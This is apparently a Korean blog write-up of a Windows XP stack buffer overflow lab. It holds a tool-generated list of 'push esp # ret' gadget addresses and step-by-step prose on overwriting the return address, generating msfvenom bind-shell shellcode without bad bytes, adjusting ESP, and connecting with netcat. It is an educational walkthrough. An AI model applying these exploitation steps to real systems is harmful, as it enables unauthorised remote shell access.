0x77e91d86 : push esp # ret  |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
0x77e91e8c : push esp # ret  |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
0x77ebd3a8 : push esp # ret  |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHLWAPI.dll)
0x77c01025 : push esp # ret  |  {PAGE_EXECUTE_READ} [MSVCRT.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:\WINDOWS\system32\MSVCRT.dll)
0x77143ce8 : push esp # ret  |  {PAGE_EXECUTE_READ} [oleaut32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\oleaut32.dll)
0x7c949db0 : push esp # ret  |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)
0x7352aa5b : push esp # ret  |  {PAGE_EXECUTE_READ} [ODBC32.DLL] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v3.525.1132.0 (C:\WINDOWS\system32\ODBC32.DLL)
0x76981594 : push esp # ret  |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x76983624 : push esp # ret  |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x769c0b4e : push esp # ret  |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x76a6dd4e : push esp # ret  |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x76a93995 : push esp # ret  |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ole32.dll)
0x5a496aeb : push esp # ret  |  {PAGE_EXECUTE_READ} [uxtheme.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\uxtheme.dll)
0x7d5c56ad : push esp # ret  |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:\WINDOWS\system32\SHELL32.dll)
0x77dc6955 : push esp # ret  |  {PAGE_EXECUTE_READ} [RPCRT4.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\RPCRT4.dll)
0x77163be9 : push esp # ret  |  {PAGE_EXECUTE_READ} [comctl32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.0 (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll)
0x7718c390 : push esp # ret  |  {PAGE_EXECUTE_READ} [comctl32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.0 (C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll)
0x7511e436 : push esp # ret  |  {PAGE_EXECUTE_READ} [msctfime.ime] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\msctfime.ime)
0x719951a5 : push esp # ret  |  {PAGE_EXECUTE_READ} [mswsock.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\mswsock.dll)
0x77f51758 : push esp # ret  |  {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ADVAPI32.dll)
0x719e2b53 : push esp # ret  |  {PAGE_EXECUTE_READ} [WS2_32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\WS2_32.dll)

이중 windows dll에 포함된 것들 중 제일 변동이 적을만한 것을 선택한다. 0x77c01025에 있는것을 선택한다. 0x77c01025에 breakpoint를 걸어놓는다.

kali로 돌아와 return address를 해당 값으로 덮어쓸 수 있게 buffer를 변경한다. ESP 값을 확인하기 위해 C를 입력하고 그 이후는 D를 입력한다.

breakpoint를 걸어놓은 곳에서 정확히 멈추었다. F7을 누르면 breakpoint부터 명령이 실행된다.

ESP 값으로 이동하여 "D"의 헥사값인 0x44가 있는 곳으로 EIP가 조작되었다.

이제 이 부분에 원하는 코드를 심어 실행시킬 수 있다. 확보한 공간은 D가 있는 607바이트이다. 이 크기에 적합한 쉘코드가 필요하다. msfvenom으로 windows/shell_bind_tcp payload를 이용한 쉘코드를 생성한다. 이때 입력값으로 주어지기 때문에 null, return 등의 바이트가 없어야한다.

이 값을 "D"배열 대신 전송한다. 쉘코드가 있는 곳으로 프로그램 흐름이 이동되었다.

그런데 실행하다보면 다시 프로그램에 충돌이 일어난다. EIP와ESP가 너무 가깝기 때문에 나는 문제이다. 이를 해결하기 위하여 ESP를 멀리 떨어뜨려 놓아야한다. 쉘코드에 간단한 assembly 코드를 추가한다. metasploit이 제공하는 metasm을 사용한다.

ESP의 값에서 1500정도를 빼주면 된다. 그런데 이 명령어는 null문자를 사용하기 때문에 쓸 수 없다. 대신 -1500을 더하는 명령어로 바꾼다. 이 코드를 쉘 코드의 앞 부분에 추가한다. 코드를 실행하면 쉘코드로 프로그램이 연결되고, kali에서 netcat을 이용하여 win XP의 shell을 이용할 수 있다.

0개의 댓글